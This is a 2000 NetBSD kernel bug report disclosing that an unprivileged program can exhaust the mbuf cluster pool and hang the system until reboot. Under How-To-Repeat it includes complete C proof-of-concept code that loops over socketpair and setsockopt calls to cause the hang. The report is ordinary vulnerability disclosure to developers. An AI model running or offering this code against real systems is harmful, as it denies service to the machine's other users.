Subject: kern/9347: user program can exhaust mclpool and hang system
To: None <gnats-bugs@gnats.netbsd.org>
From: Erik E. Fair <fair@digital.clock.org>
List: netbsd-bugs
Date: 02/03/2000 19:24:38
>Number:         9347
>Category:       kern
>Synopsis:       user program can exhaust mclpool and hang system
>Confidential:   yes
>Severity:       critical
>Priority:       high
>Responsible:    kern-bug-people (Kernel Bug People)
>State:          open
>Class:          sw-bug
>Submitter-Id:   net
>Arrival-Date:   Thu Feb  3 19:24:00 2000
>Last-Modified:
>Originator:     Erik E. Fair
>Organization:
	<a href="http://www.clock.org/">International Organization of Internet Clock Watchers</a>
>Release:        1.4.2_ALPHA
>Environment:
	
System: NetBSD digital.clock.org 1.4.2_ALPHA NetBSD 1.4.2_ALPHA (DIGITAL) #10: Mon Jan 10 22:38:56 PST 2000 fair@doomsday.clock.org:/usr/obj/sys/arch/alpha/compile/DIGITAL alpha


>Description:
	A user program playing with socket buffer options and
	socketpair(2) can exhaust the mclpool, and hang the system:

	WARNING: mclpool limit reached; increase NMBCLUSTERS

	The process is unkillable. This can be used to hang a NetBSD
	system in such a way that a reboot is required to regain
	control of the system.

	Userland programs should not be able to do this.

>How-To-Repeat:
	This code has been tested on 1.4.2_ALPHA kernels for sparc and alpha

#include        <unistd.h>
#include        <sys/socket.h>
#include        <fcntl.h>

#define         BUFFERSIZE      204800

extern  int
main(void)
{
        int             p[2], i;
        char            crap[BUFFERSIZE];

        while (1)
        {
                if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
                        break;
                i = BUFFERSIZE;
                setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
                setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
                setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
                setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
                fcntl(p[0], F_SETFL, O_NONBLOCK);
                fcntl(p[1], F_SETFL, O_NONBLOCK);
                write(p[0], crap, BUFFERSIZE);
                write(p[1], crap, BUFFERSIZE);
        }

        return(0);
}

>Fix:
	
>Audit-Trail:
>Unformatted: